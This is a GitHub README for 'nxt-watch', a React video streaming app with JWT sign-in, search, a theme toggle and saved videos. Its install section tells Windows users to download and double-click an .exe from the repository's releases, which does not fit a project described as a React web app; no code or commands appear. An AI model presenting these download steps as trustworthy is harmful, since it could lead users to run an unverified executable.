Skip to content

Repository files navigation

🎬 nxt-watch - Stream videos with easy sign-in

Download on GitHub Releases

🖥️ What you need

Use a Windows PC with:

  • Windows 10 or Windows 11
  • An internet connection
  • At least 4 GB of RAM
  • A modern web browser such as Chrome, Edge, or Firefox
  • Enough free space to save the app files

📦 Download the app

  1. Open the GitHub Releases page.
  2. Look for the latest release at the top of the page.
  3. Find the Windows download file in the release assets.
  4. Download the file to your computer.
  5. If the file comes in a ZIP folder, right-click it and choose Extract All.

▶️ Install and run on Windows

  1. Open the folder where you saved the app.
  2. If you extracted a ZIP file, open the extracted folder.
  3. Look for the app file or the folder with the app files.
  4. If the release includes an .exe file, double-click it to start the app.
  5. If the release includes a web build, open the main HTML file in your browser.
  6. Keep your internet connection on so the app can load videos and sign-in data.

🎯 What nxt-watch does

nxt-watch is a video streaming app that feels familiar if you use YouTube. It gives you a clean place to browse, watch, and manage videos.

You can use it to:

  • Watch videos with a built-in player
  • Sign in with JWT-based login
  • Switch between dark and light themes
  • Browse content with a simple layout
  • Move between pages without full reloads
  • Keep app state in one place with Context API

🧭 Main screens

🏠 Home

See a list of videos in one place. Use it to start browsing right away.

🔍 Search

Find videos by typing a name or topic. This helps when you want one video fast.

📺 Video page

Open a video to watch it in the built-in player. You can pause, resume, and change the volume like you would in most video apps.

❤️ Saved videos

Keep videos you want to watch again in one spot.

🚫 Not found

If you open the wrong page, the app shows a simple error screen.

🌙 Theme options

nxt-watch includes two display modes:

  • Light theme for bright rooms
  • Dark theme for low light and night use

You can switch between them from the app interface.

🔐 Sign in

The app uses JWT authentication for login. In simple terms, this means you sign in once and then use the app without entering your details again on every page.

Use the sign-in screen to:

  • Enter your account details
  • Access protected pages
  • Keep your session active while you use the app

🎮 How to use the app

  1. Open nxt-watch.
  2. Sign in with your account.
  3. Use the side menu or top menu to move around.
  4. Search for a video or browse the home page.
  5. Select a video to play it.
  6. Use Saved Videos if you want to keep it for later.
  7. Switch the theme if you want a different look.

🧩 Built with

This app uses:

  • React.js
  • Vite
  • React Router
  • React Player
  • Context API
  • styled-components

📁 What you may see in the release

The download may include:

  • A Windows app file
  • A ZIP archive
  • App assets and web files
  • A README or release note file

If you see a ZIP file, extract it before opening the app files.

🛠️ Common issues

The app does not open

  • Check that you extracted all files
  • Make sure you opened the correct file
  • Try running the file again

Videos do not load

  • Check your internet connection
  • Refresh the app
  • Try a different browser if the release uses web files

Sign-in does not work

  • Make sure you entered the right details
  • Check that the app can reach the internet
  • Try again after a short wait

The screen looks wrong

  • Resize the window
  • Switch between light and dark mode
  • Open the app in a modern browser

📌 Good to know

  • The app is made for desktop use
  • It works best on a stable internet connection
  • The interface is simple and easy to navigate
  • Video playback uses React Player for smooth viewing
  • Navigation stays fast because the app is a single-page app

🔗 Download again

Use the release page here if you need to visit it later: https://github.com/descriptive-dancemusic699/nxt-watch/releases

About

Build a React video streaming app with auth, search, theme toggle, save videos, and responsive UI

Topics

Resources

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages